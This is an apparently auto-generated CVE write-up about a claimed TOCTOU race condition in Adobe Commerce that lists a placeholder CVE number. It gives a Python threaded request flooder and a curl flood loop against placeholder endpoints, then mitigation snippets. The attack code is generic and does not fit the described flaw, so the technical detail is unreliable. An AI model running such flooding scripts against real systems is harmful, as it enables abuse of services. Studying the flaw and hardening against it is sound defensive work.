Adobe Commerce, TOCTOU Race Condition, CVE-2025-XXXX (Critical)

The CVE affects Adobe Commerce (Magento) by exploiting a Time-of-Check Time-of-Use (TOCTOU) race condition. Attackers manipulate the gap between validation and execution to bypass rate-limiting or security checks. The flaw exists in versions 2.4.8-beta1, 2.4.7-p3, 2.4.6-p8, 2.4.5-p10, 2.4.4-p11, and earlier. By rapidly altering conditions (e.g., authentication states or API call limits) after validation but before enforcement, attackers escalate privileges or evade restrictions. No user interaction is needed, making automation trivial. The race window allows parallel requests to mutate shared resources, undermining security logic.

DailyCVE Form:

Platform: Adobe Commerce
Version: ≤2.4.8-beta1
Vulnerability: TOCTOU bypass
Severity: Critical
Date: 2025-04-15

What Undercode Say:

Exploitation:

1. Race Script (Python):

import requests
import threading
def exploit():
while True:
r = requests.post("https://target.com/api/auth", data={"token": "race_condition"})
print(r.status_code)
threads = [threading.Thread(target=exploit) for _ in range(50)]
[t.start() for t in threads]

2. Curl Flood:

for i in {1..100}; do curl -X POST "https://target.com/api/limit_bypass" & done

Mitigation:

1. Patch: Apply Adobe Security Bulletin APSB25-08.

Atomic Operations: Use file locks or database transactions:

$lock = fopen("lockfile", "w");
if (flock($lock, LOCK_EX)) {
// Critical section
flock($lock, LOCK_UN);
}

3. Rate-Limit Hardening:

limit_req_zone $binary_remote_addr zone=api_limit:10m rate=10r/s;

4. Log Analysis:

grep "POST /api/auth" access.log | awk '{print $1}' | sort | uniq -c | sort -nr

5. WAF Rules:

{
"rules": [{
"id": "TOCTOU_1",
"action": "block",
"conditions": [{
"path": "API",
"rate": ">10/sec"
}]
}]
}

Impact: Unpatched systems risk brute-force attacks, API abuse, and admin takeover.